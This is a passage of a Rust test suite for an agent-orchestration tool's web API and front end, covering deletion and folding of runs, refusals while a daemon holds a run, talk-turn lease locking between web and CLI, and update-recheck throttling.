21136        t3.status = TaskStatus::Running;
21137        q.put(&mut t3).expect("put t3");
21138        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
21139        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
21140        assert_eq!(res.status, 204);
21141        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
21142        assert!(
21143            q.claim(&t3.id).is_ok(),
21144            "the stale lock went with it, so the id is claimable again"
21145        );
21146
21147        // 4. Missing id returns 404
21148        let res = fx.delete("/api/queue/nonexistent").await;
21149        assert_eq!(res.status, 404);
21150    }
21151
21152    #[tokio::test]
21153    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
21154        let fx = Fixture::start().await;
21155        let runs = fx.runs();
21156
21157        // 1. Finished and folded run can be deleted along with artifacts
21158        let run_id = "20260901-000000-fold";
21159        let mut state = RunState::new(
21160            PathBuf::from("/repo"),
21161            "main".to_owned(),
21162            "abc".to_owned(),
21163            "instruction".to_owned(),
21164            Config::default(),
21165        );
21166        state.id = run_id.to_owned();
21167        state.status = RunStatus::Merged;
21168        state.candidates.push(crate::run::Candidate {
21169            index: 0,
21170            label: 'A',
21171            agent: "a".to_owned(),
21172            branch: "b".to_owned(),
21173            worktree: PathBuf::from("/w"),
21174            summary: String::new(),
21175            stat: String::new(),
21176            files: 1,
21177            commits: 1,
21178            empty: false,
21179            failed: None,
21180            verified_noop: None,
21181            duration_ms: 0,
21182            folded: true,
21183        });
21184        let dir = runs.join(run_id);
21185        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
21186        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
21187            .expect("write artifact");
21188        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
21189            .expect("write run.json");
21190
21191        // Delete by short id
21192        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
21193        assert_eq!(res.status, 204);
21194        assert!(res.body.is_empty(), "204 has no body");
21195        assert!(!dir.exists(), "run directory and artifacts must be deleted");
21196
21197        // 2. A run a live daemon is working on is refused with 409. The
21198        // heartbeat is what makes it refusable: an unfinished run with no
21199        // daemon behind it is a leftover from a killed process, and case 1
21200        // above would otherwise be impossible to tell apart from this one.
21201        let run_running = "20260901-000000-rung";
21202        write_run(&runs, run_running, RunStatus::Prep);
21203        let mut beat = crate::daemon::Status::new();
21204        beat.current = vec![crate::daemon::Current {
21205            task: "20260901-000000-task".to_owned(),
21206            run: run_running.to_owned(),
21207        }];
21208        beat.updated_at = jiff::Timestamp::now();
21209        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21210            .expect("publish a heartbeat");
21211        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
21212        assert_eq!(res.status, 409);
21213        assert!(
21214            res.json()["error"]
21215                .as_str()
21216                .unwrap()
21217                .contains("live daemon"),
21218            "the refusal must say who is holding it"
21219        );
21220        assert!(
21221            runs.join(run_running).exists(),
21222            "a run in flight keeps its directory"
21223        );
21224
21225        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
21226        let run_unfolded = "20260901-000000-unfd";
21227        let mut state2 = RunState::new(
21228            PathBuf::from("/repo"),
21229            "main".to_owned(),
21230            "abc".to_owned(),
21231            "instruction".to_owned(),
21232            Config::default(),
21233        );
21234        state2.id = run_unfolded.to_owned();
21235        state2.status = RunStatus::Ready;
21236        state2.candidates.push(crate::run::Candidate {
21237            index: 0,
21238            label: 'A',
21239            agent: "a".to_owned(),
21240            branch: "b".to_owned(),
21241            worktree: PathBuf::from("/w"),
21242            summary: String::new(),
21243            stat: String::new(),
21244            files: 1,
21245            commits: 1,
21246            empty: false,
21247            failed: None,
21248            verified_noop: None,
21249            duration_ms: 0,
21250            folded: false,
21251        });
21252        let dir2 = runs.join(run_unfolded);
21253        std::fs::create_dir_all(&dir2).expect("create dir2");
21254        std::fs::write(
21255            dir2.join("run.json"),
21256            serde_json::to_string(&state2).unwrap(),
21257        )
21258        .expect("write run.json");
21259
21260        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
21261        assert_eq!(res.status, 409);
21262        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
21263        assert!(dir2.exists(), "unfolded run directory is kept");
21264
21265        // 4. Missing id returns 404
21266        let res = fx.delete("/api/runs/nonexistent").await;
21267        assert_eq!(res.status, 404);
21268    }
21269
21270    /// The queue tiles on the Stats tab must render even on a home with no
21271    /// runs at all: queue state is not derived from run history, so hiding
21272    /// the whole dashboard body behind "no runs yet" would drop the one
21273    /// thing this tab promises unconditionally (queued/running/held/done).
21274    /// A DOM-level test would need a browser this suite does not have, so
21275    /// this pins the same invariant textually: `renderStatsQueue` is called
21276    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
21277    /// block that gates the run-derived panels.
21278    #[test]
21279    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
21280        let start = APP_JS
21281            .find("function renderStats() {")
21282            .expect("renderStats");
21283        let end = start
21284            + APP_JS[start..]
21285                .find("function statsTile(")
21286                .expect("the next top-level function");
21287        let body = &APP_JS[start..end];
21288
21289        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
21290        let gate_end = gate_start
21291            + body[gate_start..]
21292                .find("}\n  renderStatsQueue")
21293                .expect("the gate's own closing brace, right before the unconditional call");
21294        let gated = &body[gate_start..gate_end];
21295
21296        assert_eq!(
21297            body.matches("renderStatsQueue(").count(),
21298            1,
21299            "renderStats must call renderStatsQueue exactly once: {body}"
21300        );
21301        assert!(
21302            !gated.contains("renderStatsQueue"),
21303            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
21304             run-derived panels on an empty run history - the queue panel has to render \
21305             regardless: {gated}"
21306        );
21307    }
21308
21309    #[test]
21310    fn web_ui_delete_contract_in_front_end() {
21311        // 1. API block has both delete endpoints
21312        assert!(APP_JS.contains("deleteRun:"));
21313        assert!(APP_JS.contains("deleteTask:"));
21314
21315        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
21316        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
21317            ..APP_JS.find("function renderRuns").unwrap()];
21318        assert!(!run_cards_slice.to_lowercase().contains("delete"));
21319
21320        // 3. Run detail has delete entry and reasons
21321        assert!(APP_JS.contains("renderRunDelete"));
21322        assert!(APP_JS.contains("runDeleteReason"));
21323        assert!(APP_JS.contains("magi fold"));
21324        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
21325
21326        // 4. Two-step delete arming and focus on Cancel
21327        assert!(APP_JS.contains("cancel.focus"));
21328        assert!(APP_JS.contains("armedRunDelete"));
21329        assert!(APP_JS.contains("renderTaskDeleteBox"));
21330        assert!(APP_JS.contains("armed${cap(key)}"));
21331
21332        // 5. Running task has disabled delete
21333        assert!(APP_JS.contains("disabled: status === \"running\""));
21334    }
21335
21336    /// Every element a run card's updater reaches for must be in the `refs`
21337    /// the builder handed it.
21338    ///
21339    /// `createRunCard` builds its elements, appends them to the card, and then
21340    /// lists them again in `row.refs`. That second list is the one the updater
21341    /// uses, and nothing connects the two - an element can be built, appended
21342    /// and rendered, and still be missing from `refs`. `superseded` was, for
21343    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
21344    /// exception took `syncList` with it, and the deck showed
21345    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
21346    /// line is computed before the cards, which is why the failure looked like
21347    /// a server that had lost its runs rather than a front end that had
21348    /// stopped rendering them.
21349    ///
21350    /// A `cargo test` cannot execute the front end, so this reads the two
21351    /// halves out of the source and compares them as sets. It is not a check
21352    /// on the wording of either list: adding an element, renaming one, or
21353    /// reordering them all keeps this passing, and only using one the builder
21354    /// never published fails it.
21355    #[test]
21356    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
21357        let build = APP_JS
21358            .find("function createRunCard")
21359            .expect("createRunCard exists");
21360        let update = APP_JS
21361            .find("function updateRunCard")
21362            .expect("updateRunCard exists");
21363        let end = APP_JS
21364            .find("function renderRuns")
21365            .expect("renderRuns exists");
21366
21367        // The builder's published set: the object literal assigned to `refs`.
21368        let builder = &APP_JS[build..update];
21369        let open = builder.find("refs = {").expect("createRunCard sets refs");
21370        let literal = &builder[open + "refs = {".len()..];
21371        let close = literal.find('}').expect("the refs literal is closed");
21372        let published: HashSet<&str> = literal[..close]
21373            .split(',')
21374            // `name` and `name: value` both bind `name`.
21375            .filter_map(|entry| entry.split(':').next())
21376            .map(str::trim)
21377            .filter(|name| !name.is_empty())
21378            .collect();
21379        assert!(
21380            published.len() > 5,
21381            "the refs literal did not parse into names: {published:?}"
21382        );
21383
21384        // What the updaters reach for: every `r.<name>`, where `r` is the
21385        // `const r = row.refs` alias both functions open with.
21386        let mut used: Vec<&str> = Vec::new();
21387        let updaters = &APP_JS[update..end];
21388        for (at, _) in updaters.match_indices("r.") {
21389            // `r` must be the whole identifier, not the tail of another one
21390            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
21391            let before = updaters[..at].chars().next_back();
21392            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21393                continue;
21394            }
21395            let rest = &updaters[at + 2..];
21396            let len = rest
21397                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21398                .unwrap_or(rest.len());
21399            if len > 0 {
21400                used.push(&rest[..len]);
21401            }
21402        }
21403        assert!(
21404            used.len() > 5,
21405            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21406        );
21407
21408        let missing: Vec<&str> = used
21409            .iter()
21410            .copied()
21411            .filter(|name| !published.contains(name))
21412            .collect();
21413        assert!(
21414            missing.is_empty(),
21415            "a run card's updater reaches for {missing:?}, which `createRunCard` \
21416             never put in `refs` - every card will throw and the list will \
21417             render empty under a count line that says otherwise. Published: \
21418             {published:?}"
21419        );
21420    }
21421
21422    #[tokio::test]
21423    async fn folding_from_the_phone_reports_what_it_removed() {
21424        let fx = Fixture::start().await;
21425        let runs = fx.runs();
21426
21427        // A run with no candidates has nothing to fold, which is a 200 with an
21428        // honest count rather than an error: the operator asked for the trees
21429        // to be gone and they are.
21430        let id = "20260901-000000-fold";
21431        write_run(&runs, id, RunStatus::Stalled);
21432        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21433        assert_eq!(res.status, 200);
21434        assert_eq!(res.json()["removed_count"], 0);
21435        assert_eq!(res.json()["run"], id);
21436        assert!(
21437            runs.join(id).exists(),
21438            "a fold keeps the run's record; only the worktrees go"
21439        );
21440    }
21441
21442    #[tokio::test]
21443    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21444        let fx = Fixture::start().await;
21445        let runs = fx.runs();
21446        let wt = fx.home.path().join("wt").join("magi").join("dead");
21447        let id = "20260901-000000-dead";
21448        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21449        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21450        std::fs::create_dir_all(&wt).expect("worktree dir");
21451
21452        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21453        assert_eq!(res.status, 200, "{}", res.body);
21454        assert!(
21455            res.json()["removed_count"].as_u64().unwrap() > 0,
21456            "the worktree this build could not read a state for still went"
21457        );
21458        assert!(
21459            !runs.join(id).exists(),
21460            "an unreadable run has no candidate list to fold selectively, so \
21461             the whole record goes - same as `magi fold` on the CLI"
21462        );
21463    }
21464
21465    #[tokio::test]
21466    async fn deleting_an_unreadable_run_removes_it_wholesale() {
21467        let fx = Fixture::start().await;
21468        let runs = fx.runs();
21469        let wt = fx.home.path().join("wt").join("magi").join("gone");
21470        let id = "20260901-000000-gone";
21471        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21472        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21473        std::fs::create_dir_all(&wt).expect("worktree dir");
21474
21475        let res = fx.delete(&format!("/api/runs/{id}")).await;
21476        assert_eq!(res.status, 204, "{}", res.body);
21477        assert!(!runs.join(id).exists(), "the broken record is gone");
21478        assert!(!wt.exists(), "its worktree is gone too");
21479    }
21480
21481    #[tokio::test]
21482    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21483        let fx = Fixture::start().await;
21484        let runs = fx.runs();
21485        let id = "20260901-000000-live";
21486        write_run(&runs, id, RunStatus::Implementing);
21487
21488        let mut beat = crate::daemon::Status::new();
21489        beat.current = vec![crate::daemon::Current {
21490            task: "20260901-000000-task".to_owned(),
21491            run: id.to_owned(),
21492        }];
21493        beat.updated_at = jiff::Timestamp::now();
21494        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21495            .expect("publish a heartbeat");
21496
21497        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21498        assert_eq!(res.status, 409);
21499        assert!(
21500            res.json()["error"]
21501                .as_str()
21502                .unwrap()
21503                .contains("live daemon"),
21504            "folding under a running agent would pull its worktree away"
21505        );
21506    }
21507
21508    #[tokio::test]
21509    async fn fold_merged_requires_a_pr_url() {
21510        let fx = Fixture::start().await;
21511        let runs = fx.runs();
21512        let id = "20260901-000000-nourl";
21513        write_run(&runs, id, RunStatus::Blocked);
21514
21515        let res = fx
21516            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21517            .await;
21518        assert_eq!(res.status, 400, "{}", res.body);
21519
21520        let blank = fx
21521            .post(
21522                &format!("/api/runs/{id}/fold-merged"),
21523                Some(r#"{"pr_url":"   "}"#),
21524            )
21525            .await;
21526        assert_eq!(blank.status, 400, "{}", blank.body);
21527    }
21528
21529    #[tokio::test]
21530    async fn fold_merged_is_404_for_an_unknown_run() {
21531        let fx = Fixture::start().await;
21532        let res = fx
21533            .post(
21534                "/api/runs/nosuchrun/fold-merged",
21535                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21536            )
21537            .await;
21538        assert_eq!(res.status, 404, "{}", res.body);
21539    }
21540
21541    #[tokio::test]
21542    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21543        let fx = Fixture::start().await;
21544        let runs = fx.runs();
21545        let id = "20260901-000000-livemerge";
21546        write_run(&runs, id, RunStatus::Blocked);
21547
21548        let mut beat = crate::daemon::Status::new();
21549        beat.current = vec![crate::daemon::Current {
21550            task: "20260901-000000-task".to_owned(),
21551            run: id.to_owned(),
21552        }];
21553        beat.updated_at = jiff::Timestamp::now();
21554        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21555            .expect("publish a heartbeat");
21556
21557        let res = fx
21558            .post(
21559                &format!("/api/runs/{id}/fold-merged"),
21560                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21561            )
21562            .await;
21563        assert_eq!(res.status, 409, "{}", res.body);
21564        assert!(
21565            res.json()["error"]
21566                .as_str()
21567                .unwrap()
21568                .contains("live daemon"),
21569            "correcting a run's merge underneath a running agent would race \
21570             whatever it is doing to the same `status`/`merge` fields"
21571        );
21572    }
21573
21574    /// A pull request `gh` cannot even ask about (no such remote, no such
21575    /// repository) must never be recorded as a merge on a guess - the same
21576    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
21577    /// command line, reached here through the phone route instead.
21578    #[tokio::test]
21579    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21580        let fx = Fixture::start().await;
21581        let runs = fx.runs();
21582        let id = "20260901-000000-unconfirmed";
21583        write_run(&runs, id, RunStatus::Blocked);
21584
21585        let res = fx
21586            .post(
21587                &format!("/api/runs/{id}/fold-merged"),
21588                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21589            )
21590            .await;
21591        assert_eq!(res.status, 400, "{}", res.body);
21592        assert_eq!(
21593            read_run(&runs, id).unwrap().status,
21594            RunStatus::Blocked,
21595            "a pull request that could not be confirmed merged must leave \
21596             the run exactly where it was"
21597        );
21598    }
21599
21600    #[tokio::test]
21601    async fn terminal_runs_cannot_be_resumed() {
21602        let fx = Fixture::start().await;
21603        let runs = fx.runs();
21604
21605        for (status, word) in [
21606            (RunStatus::Merged, "merged"),
21607            (RunStatus::Ready, "ready"),
21608            (RunStatus::Failed, "failed"),
21609        ] {
21610            let id = format!("20260901-000000-{}", &word[..4]);
21611            write_run(&runs, &id, status);
21612            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21613            assert_eq!(res.status, 409, "{word} must not be resumable");
21614        }
21615    }
21616
21617    #[tokio::test]
21618    async fn resume_is_refused_while_the_loop_is_running() {
21619        let fx = Fixture::start().await;
21620        let runs = fx.runs();
21621        let stalled = "20260901-000000-stal";
21622        write_run(&runs, stalled, RunStatus::Stalled);
21623
21624        // The loop is busy with a *different* run, and that is still a
21625        // refusal: a manual resume must never race whatever the loop itself
21626        // is already driving, whether that is one run or several.
21627        let mut beat = crate::daemon::Status::new();
21628        beat.current = vec![crate::daemon::Current {
21629            task: "20260901-000000-task".to_owned(),
21630            run: "20260901-000000-othr".to_owned(),
21631        }];
21632        beat.updated_at = jiff::Timestamp::now();
21633        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21634            .expect("publish a heartbeat");
21635
21636        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21637        assert_eq!(res.status, 409);
21638        let err = res.json()["error"].as_str().unwrap().to_owned();
21639        assert!(err.contains("othr"), "it names what the loop is on: {err}");
21640        assert!(err.contains("stop it first"), "{err}");
21641    }
21642
21643    #[test]
21644    fn a_run_cannot_be_resumed_twice_at_once() {
21645        let home = TempDir::new().expect("temp home");
21646        let ui = Ui::new(
21647            Queue::at(home.path().join("queue")),
21648            Questions::at(home.path().join("questions")),
21649            Talks::at(home.path().join("talks")),
21650            home.path().join("runs"),
21651            home.path().to_path_buf(),
21652            PathBuf::from("/repo"),
21653        )
21654        .with_worktrees_root(home.path().join("wt"));
21655        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21656        let again = ui.begin_resume("20260901-000000-once");
21657        assert!(again.is_err(), "a second tap must not start a second graph");
21658        drop(first);
21659        assert!(
21660            ui.begin_resume("20260901-000000-once").is_ok(),
21661            "and the claim is released when the attempt ends"
21662        );
21663    }
21664
21665    #[test]
21666    fn talk_thinking_tracks_only_its_held_turn_claim() {
21667        let home = TempDir::new().expect("temp home");
21668        let ui = Ui::new(
21669            Queue::at(home.path().join("queue")),
21670            Questions::at(home.path().join("questions")),
21671            Talks::at(home.path().join("talks")),
21672            home.path().join("runs"),
21673            home.path().to_path_buf(),
21674            PathBuf::from("/repo"),
21675        )
21676        .with_worktrees_root(home.path().join("wt"));
21677        let id = "20260901-000000-once";
21678
21679        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
21680        let turn = ui.begin_talk_turn(id).expect("claim turn");
21681        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
21682        assert!(
21683            !ui.is_thinking("20260901-000000-other"),
21684            "one talk's turn does not make another talk busy"
21685        );
21686        drop(turn);
21687        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
21688    }
21689
21690    #[test]
21691    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
21692        let home = TempDir::new().expect("temp home");
21693        let talks = Talks::at(home.path().join("talks"));
21694        let ui = Ui::new(
21695            Queue::at(home.path().join("queue")),
21696            Questions::at(home.path().join("questions")),
21697            talks.clone(),
21698            home.path().join("runs"),
21699            home.path().to_path_buf(),
21700            PathBuf::from("/repo"),
21701        )
21702        .with_worktrees_root(home.path().join("wt"));
21703        let id = "20260901-000000-cross";
21704
21705        let other = Talks::at(home.path().join("talks"))
21706            .claim_turn(id)
21707            .expect("claim")
21708            .expect("the other process wins");
21709        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
21710        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
21711        assert!(
21712            matches!(
21713                ui.begin_talk_turn_unless_pending(id).expect("start"),
21714                TalkTurnStart::Foreign
21715            ),
21716            "a foreign holder is refused, not queued behind"
21717        );
21718        assert!(
21719            !ui.talk_turns.lock().unwrap().live.contains(id),
21720            "a refused claim leaves no in-process entry behind"
21721        );
21722        drop(other);
21723        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
21724        assert!(talks.turn_held(id), "the web turn holds the lease");
21725        drop(turn);
21726        assert!(
21727            !talks.turn_held(id),
21728            "dropping the guard releases the lease"
21729        );
21730    }
21731
21732    fn consult_question(ui: &Ui) -> Question {
21733        let mut q = Question::new(
21734            "20260901-000000-consult".to_owned(),
21735            "implement".to_owned(),
21736            "impl-A".to_owned(),
21737            "Which backend?".to_owned(),
21738            String::new(),
21739            vec!["SQLite".to_owned(), "Redis".to_owned()],
21740        );
21741        ui.questions.put(&mut q).expect("question");
21742        q
21743    }
21744
21745    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
21746        (
21747            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
21748            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
21749        )
21750    }
21751
21752    #[tokio::test]
21753    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
21754        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21755        let q = consult_question(&ui);
21756        let talk = ui.talks.get(&id).expect("talk");
21757        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
21758        let before = consult_snapshot(&ui, &q, &id);
21759        let cli_talks = Talks::at(ui.home.join("talks"));
21760        assert_eq!(
21761            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
21762                .await
21763                .expect("CLI starter"),
21764            crate::consult::Started::Busy
21765        );
21766        assert_eq!(consult_snapshot(&ui, &q, &id), before);
21767        assert!(ui.is_thinking(&id));
21768        drop(guard);
21769        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
21770    }
21771
21772    #[tokio::test]
21773    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
21774        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21775        let q = consult_question(&ui);
21776        let talk = ui.talks.get(&id).expect("talk");
21777        let started = tmp.path().join("started");
21778        let release = tmp.path().join("release");
21779        let script = tmp.path().join("consult-agent.sh");
21780        std::fs::write(
21781            &script,
21782            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
21783        )
21784        .expect("script");
21785        let mut cfg = stub_config();
21786        cfg.agents[0].id = "mock".to_owned();
21787        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
21788        cfg.agents[0].env = std::collections::BTreeMap::from([
21789            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
21790            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
21791        ]);
21792        let questions = ui.questions.clone();
21793        let cli_talks = Talks::at(ui.home.join("talks"));
21794        let cli_q = q.clone();
21795        let turn = tokio::spawn(async move {
21796            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
21797        });
21798        let ready = tokio::time::timeout(Duration::from_secs(30), async {
21799            while !started.exists() {
21800                tokio::time::sleep(Duration::from_millis(10)).await;
21801            }
21802        })
21803        .await;
21804        // Always release and join the agent, even if readiness or the web
21805        // request fails, so a failed assertion cannot leave a turn behind.
21806        let refusal = if ready.is_ok() {
21807            let before = consult_snapshot(&ui, &q, &id);
21808            let result = talk_say(
21809                State(Arc::clone(&ui)),
21810                Path(id.clone()),
21811                Ok(Json(NewTalkTurn {
21812                    reply_to: None,
21813                    text: "another message".to_owned(),
21814                    attachments: Vec::new(),
21815                })),
21816            )
21817            .await;
21818            Some((result, before, consult_snapshot(&ui, &q, &id)))
21819        } else {
21820            None
21821        };
21822        std::fs::write(&release, "").expect("release agent");
21823        let done = turn.await.expect("join CLI turn");
21824        ready.expect("agent started before deadline");
21825        let (result, before, after) = refusal.expect("web request");
21826        let error = result.expect_err("web must refuse the CLI's turn");
21827        assert_eq!(error.status, StatusCode::CONFLICT);
21828        assert!(error.message.contains("a turn is already running"));
21829        assert_eq!(
21830            after, before,
21831            "refusal preserves question, draft and history"
21832        );
21833        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
21834        let guard = ui
21835            .begin_talk_turn(&id)
21836            .expect("web claim")
21837            .expect("free again");
21838        drop(guard);
21839    }
21840
21841    #[test]
21842    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
21843        let home = TempDir::new().expect("temp home");
21844        let talks = Talks::at(home.path().join("talks"));
21845        let ui = Ui::new(
21846            Queue::at(home.path().join("queue")),
21847            Questions::at(home.path().join("questions")),
21848            talks.clone(),
21849            home.path().join("runs"),
21850            home.path().to_path_buf(),
21851            PathBuf::from("/repo"),
21852        )
21853        .with_worktrees_root(home.path().join("wt"));
21854        let id = "20260901-000000-order";
21855        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21856        // Hold the slot mutex so the drop can finish the lease but not the slot.
21857        let slots = ui.talk_turns.lock().unwrap();
21858        let dropper = std::thread::spawn(move || drop(turn));
21859        let start = std::time::Instant::now();
21860        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
21861            std::thread::sleep(Duration::from_millis(5));
21862        }
21863        assert!(!talks.turn_held(id), "the lease is released first");
21864        assert!(slots.live.contains(id), "the slot is still held meanwhile");
21865        drop(slots);
21866        dropper.join().expect("join");
21867        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
21868    }
21869
21870    #[tokio::test]
21871    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
21872        let fx = Fixture::start().await;
21873        let mut beat = crate::daemon::Status::new();
21874        beat.worker_protocol = None;
21875        beat.pid = 4321;
21876        beat.updated_at = jiff::Timestamp::now();
21877        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21878            .expect("publish a heartbeat");
21879
21880        let res = fx.post("/api/upgrade", None).await;
21881        assert_eq!(res.status, 409);
21882    }
21883
21884    /// [`should_spawn_recheck`] must refuse for the same two reasons
21885    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
21886    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
21887    /// Purely a predicate over config and the environment - no network, no
21888    /// disk, no runtime - so unlike the fixture-based tests around it this
21889    /// one needs neither.
21890    #[test]
21891    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
21892        assert!(!should_spawn_recheck(&crate::config::Update {
21893            mode: UpdateMode::Off,
21894            interval: None,
21895            auto_restart: false,
21896        }));
21897
21898        // SAFETY: single-threaded as far as this variable goes, the same
21899        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
21900        unsafe {
21901            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21902        }
21903        let killed = should_spawn_recheck(&crate::config::Update {
21904            mode: UpdateMode::Notify,
21905            interval: None,
21906            auto_restart: false,
21907        });
21908        unsafe {
21909            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21910        }
21911        assert!(
21912            !killed,
21913            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
21914             one-time startup check"
21915        );
21916
21917        assert!(should_spawn_recheck(&crate::config::Update {
21918            mode: UpdateMode::Notify,
21919            interval: None,
21920            auto_restart: false,
21921        }));
21922    }
21923
21924    /// [`recheck_poll_period`] must track a configured `[update] interval`
21925    /// shorter than its own default ceiling - a fixed sleep here would leave
21926    /// an operator's short interval waiting on the next wake-up instead of on
21927    /// `should_check`, which is the same bug this whole task exists to fix,
21928    /// just one level down.
21929    #[test]
21930    fn recheck_poll_period_tracks_a_short_configured_interval() {
21931        let short = crate::config::Update {
21932            mode: UpdateMode::Notify,
21933            interval: Some("1m".to_owned()),
21934            auto_restart: false,
21935        };
21936        let period = recheck_poll_period(&short);
21937        assert!(
21938            period <= Duration::from_secs(30),
21939            "a one-minute interval must wake the task far sooner than the \
21940             default ceiling, or the deck would not notice within the \
21941             interval the operator configured: got {period:?}"
21942        );
21943
21944        let default = crate::config::Update {
21945            mode: UpdateMode::Notify,
21946            interval: None,
21947            auto_restart: false,
21948        };
21949        assert_eq!(
21950            recheck_poll_period(&default),
21951            UPDATE_RECHECK_POLL_MAX,
21952            "the default day-long interval should poll at the (capped) \
21953             ceiling rather than needlessly often"
21954        );
21955    }
21956
21957    /// [`update_recheck_due`] must not repeat a check made moments ago, the
21958    /// same throttle `updater::Checker::should_check` already gives the
21959    /// CLI's notify mode. Built over an explicit state file via
21960    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
21961    /// write the operator's real `last_update_check.json` - and therefore
21962    /// cannot flake on whatever that file happens to say on the machine
21963    /// running the test.
21964    #[test]
21965    fn recheck_skips_the_network_before_the_interval_elapses() {
21966        let dir = TempDir::new().expect("temp dir");
21967        let path = dir.path().join("state.json");
21968        let state = kaishin::UpdateCheckState {
21969            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
21970            last_known_latest: None,
21971            last_known_url: None,
21972        };
21973        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
21974
21975        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
21976        assert!(
21977            !update_recheck_due(&checker, None),
21978            "a check made moments ago must not be repeated before the \
21979             configured interval elapses"
21980        );
21981    }
21982
21983    /// An upgrade this deck already started must not be raced by a recheck
21984    /// that discovers a newer release mid-install - regardless of what
21985    /// `should_check` says, which is why the state file here is missing
21986    /// entirely: read alone, that alone would answer "never checked, go
21987    /// ahead".
21988    #[test]
21989    fn recheck_defers_to_an_upgrade_already_in_flight() {
21990        let dir = TempDir::new().expect("temp dir");
21991        let path = dir.path().join("state.json");
21992        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
